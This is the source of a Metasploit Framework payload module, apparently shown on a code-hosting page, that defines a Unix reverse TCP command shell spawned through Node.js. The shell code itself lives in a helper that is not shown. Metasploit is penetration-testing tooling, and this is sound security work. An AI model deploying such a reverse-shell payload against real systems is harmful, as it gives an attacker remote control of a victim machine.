Path: blob/master/modules/payloads/singles/cmd/unix/reverse_nodejs.rb
21551 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 323178include Msf::Payload::Single9include Msf::Payload::NodeJS10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Unix Command Shell, Reverse TCP (via nodejs)',17'Description' => 'Continually listen for a connection and spawn a command shell via nodejs',18'Author' => 'joev',19'License' => MSF_LICENSE,20'Platform' => 'unix',21'Arch' => ARCH_CMD,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'cmd',25'RequiredCmd' => 'node',26'Payload' => { 'Offsets' => {}, 'Payload' => '' }27)28)29end3031def generate(_opts = {})32super + command_string33end3435def command_string36nodejs_cmd(nodejs_reverse_tcp)37end38end394041